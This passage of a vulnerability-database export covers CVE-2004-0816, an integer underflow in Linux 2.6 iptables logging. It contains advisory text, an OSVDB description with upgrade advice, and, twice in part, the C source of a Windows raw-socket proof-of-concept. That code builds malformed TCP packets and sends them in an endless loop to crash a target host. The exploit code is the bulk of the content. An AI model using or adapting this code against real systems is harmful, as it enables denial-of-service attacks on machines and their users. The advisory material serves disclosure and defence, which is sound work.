host;\r\n\r\nZeroMemory(buf, 1500);\r\n\r\nip = buf;\r\ntcp = buf + 20;\r\n\r\nip[0] = 0x45; /* ver & hlen */\r\nip[3] = 0x28; /* tlen */\r\nip[8] = 0x80; /* ttl */\r\nip[9] = 0x06; /* protocol */\r\nip[10] = ip[11] = 0;\r\nip[12] = sip[0]; /* saddr */\r\nip[13] = sip[1];\r\nip[14] = sip[2];\r\nip[15] = sip[3];\r\nip[16] = dip[0]; /* daddr */\r\nip[17] = dip[1];\r\nip[18] = dip[2];\r\nip[19] = dip[3];\r\n\r\ntcp[0] = sport[0];\r\ntcp[1] = sport[1];\r\ntcp[2] = dport[0]; /* dport */\r\ntcp[3] = dport[1];\r\ntcp[12] = 0x40; /* hlen */ /* HERE */\r\ntcp[13] = 0x02; /* flags */\r\n\r\nZeroMemory(&host, sizeof(struct sockaddr_in));\r\nhost.sin_family = AF_INET;\r\nhost.sin_port = dp;\r\nhost.sin_addr.s_addr = da;\r\n\r\nfor (;; ) {\r\ntcp[4] = (seq >> 24); /* seq number */\r\ntcp[5] = ((seq << 8) >> 24);\r\ntcp[6] = ((seq << 16) >> 24);\r\ntcp[7] = ((seq << 24) >> 24);\r\ntcp[16] = tcp[17] = 0;\r\nseq ++;\r\n\r\ntcp_csum(tcp, ip, 0x14, tcp + 16);\r\n\r\nif (SOCKET_ERROR == sendto(s, buf, 0x28, 0,\r\n(SOCKADDR *)&(host), sizeof host)) {\r\nif (WSAEACCES != WSAGetLastError()) {\r\nprintf("sendto() failed: %d\n",\r\nWSAGetLastError());\r\n\r\nret = 1;\r\n} else {\r\nprintf("You must be Administrator!\n");\r\n}\r\n\r\nbreak;\r\n}\r\n}\r\n\r\nreturn ret;\r\n}\r\n\r\nstatic char usage[] = "Usage: %s dip dport sip sport\n";\r\n\r\nint main(int argc, char **argv)\r\n{\r\nWORD ver = MAKEWORD(2, 2);\r\nWSADATA data;\r\nunsigned char *p;\r\nSOCKET s;\r\nint ret = 1;\r\nBOOL eopt = TRUE;\r\n\r\nif (5 != argc) {\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\nif (INADDR_NONE == (da = inet_addr(argv[1]))) {\r\nprintf("dest ip address is NOT valid!\n");\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&da;\r\ndip[0] = p[0];\r\ndip[1] = p[1];\r\ndip[2] = p[2];\r\ndip[3] = p[3];\r\n\r\ndp = atoi(argv[2]);\r\ndport[0] = ((dp << 16) >> 24);\r\ndport[1] = ((dp << 24) >> 24);\r\n\r\nif (INADDR_NONE == (sa = inet_addr(argv[3]))) {\r\nprintf("source ip address is NOT valid!\n");\r\nprintf(usage, argv[3]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&sa;\r\nsip[0] = p[0];\r\nsip[1] = p[1];\r\nsip[2] = p[2];\r\nsip[3] = p[3];\r\n\r\nsp = atoi(argv[4]);\r\nsport[0] = ((sp << 16) >> 24);\r\nsport[1] = ((sp << 24) >> 24);\r\n\r\nsrand((unsigned int)time(0));\r\n\r\nif (WSAStartup(ver, &data)) {\r\nprintf("WSAStartup() failed\n");\r\ngoto out;\r\n}\r\n\r\nif (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, \r\n0)))\r\ngoto err;\r\n\r\nif (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL,\r\n(char *)&eopt, sizeof(eopt)))\r\ngoto err1;\r\n\r\nwork(s);\r\n\r\nerr1:\r\nclosesocket(s);\r\nerr:\r\nWSACleanup();\r\n\r\nout:\r\nreturn ret;\r\n}\r\n\r\n\r\nADDITIONAL INFORMATION\r\n\r\nThe information has been provided by felix zhou.\r\n\r\n\r\n\r\n======================================== \r\n\r\n\r\nThis bulletin is sent to members of the SecuriTeam mailing list. \r\nTo unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com \r\nIn order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com \r\n\r\n\r\n==================== \r\n==================== \r\n\r\nDISCLAIMER: \r\nThe information in this bulletin is provided "AS IS" without warranty of any kind. \r\nIn no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business\r\nprofits or special damages. \r\n\r\n\r\n\r\n", "modified": "2004-11-01T00:00:00", "published": "2004-11-01T00:00:00", "id": "SECURITYVULNS:DOC:7115", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:7115", "title": "[UNIX] IPTables Log Integer Underflow (PoC)", "type": "securityvulns", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:06", "bulletinFamily": "software", "description": "## Vulnerability Description\nA remote underflow exists in Linux Kernel. The Linux Kernel fails to properly parse input from the iptables firewall logging rules resulting in a integer underflow. With a specially crafted request, an attacker can cause a denial of service resulting in a loss of availability for the system.\n## Solution Description\nUpgrade to version 2.6.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## Short Description\nA remote underflow exists in Linux Kernel. The Linux Kernel fails to properly parse input from the iptables firewall logging rules resulting in a integer underflow. With a specially crafted request, an attacker can cause a denial of service resulting in a loss of availability for the system.\n## References:\nVendor URL: http://www.kernel.org/\nSecurity Tracker: 1011854\n[Secunia Advisory ID:11202](https://secuniaresearch.flexerasoftware.com/advisories/11202/)\n[Secunia Advisory ID:12904](https://secuniaresearch.flexerasoftware.com/advisories/12904/)\n[Secunia Advisory ID:13061](https://secuniaresearch.flexerasoftware.com/advisories/13061/)\n[Secunia Advisory ID:14002](https://secuniaresearch.flexerasoftware.com/advisories/14002/)\n[Related OSVDB ID: 11015](https://vulners.com/osvdb/OSVDB:11015)\n[Related OSVDB ID: 11016](https://vulners.com/osvdb/OSVDB:11016)\nOther Advisory URL: http://www.suse.de/de/security/2004_37_kernel.html\nOther Advisory URL: http://www.mandrakesoft.com/security/advisories?name=MDKSA-2005:022\nKeyword: SUSE-SA:2004:037\nISS X-Force ID: 17800\n[CVE-2004-0816](https://vulners.com/cve/CVE-2004-0816)\n", "modified": "2004-10-21T05:55:30", "published": "2004-10-21T05:55:30", "href": "https://vulners.com/osvdb/OSVDB:11014", "id": "OSVDB:11014", "title": "Linux Kernel iptables Logging Rules Integer Underflow DoS", "type": "osvdb", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "seebug": [{"lastseen": "2017-11-19T14:12:50", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2014-07-01T00:00:00", "published": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-78390", "id": "SSV:78390", "title": "Linux Kernel 2.6.x IPTables Logging Rules Integer Underflow Vulnerability", "type": "seebug", "sourceData": "\n source: http://www.securityfocus.com/bid/11488/info\r\n\r\nIt is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch.\r\n\r\nA remote attacker may exploit this vulnerability to crash a computer that is running the affected kernel.\r\n\r\nThe 2.6 Linux kernel is reported prone to this vulnerability, the 2.4 kernel is not reported to be vulnerable.\r\n\r\n/* \r\n* \r\n* iptables.log.integer.underflow.POC.c \r\n* \r\n* (CAN-2004-0816, BID11488, SUSE-SA:2004:037)\r\n*\r\n* felix__zhou _at_ hotmail _dot_ com\r\n*\r\n* */\r\n\r\n#include <stdio.h>\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n#include <time.h>\r\n\r\n#pragma comment(lib,"ws2_32")\r\n\r\nstatic unsigned char dip[4];\r\nstatic unsigned int da;\r\nstatic unsigned short dp;\r\nstatic unsigned char dport[2];\r\n\r\nstatic unsigned char sip[4];\r\nstatic unsigned int sa;\r\nstatic unsigned short sp;\r\nstatic unsigned char sport[2];\r\n\r\n/*\r\nstatic void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = ip;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n*/\r\n\r\nstatic void tcp_csum(unsigned char *tcp, unsigned char *ip, \r\nunsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = tcp;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\ncsum += (ip[12] << 8) + ip[13];\r\ncsum += (ip[14] << 8) + ip[15];\r\n\r\ncsum += (ip[16] << 8) + ip[17];\r\ncsum += (ip[18] << 8) + ip[19];\r\n\r\ncsum += 0x06;\r\ncsum += 0x14;\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n\r\nstatic int work(SOCKET s)\r\n{\r\nDWORD ret = 1;\r\nunsigned char buf[1500];\r\nunsigned char *ip;\r\nunsigned char *tcp;\r\nunsigned int seq = 0x01;\r\nstruct sockaddr_in host;\r\n\r\nZeroMemory(buf, 1500);\r\n\r\nip = buf;\r\ntcp = buf + 20;\r\n\r\nip[0] = 0x45; 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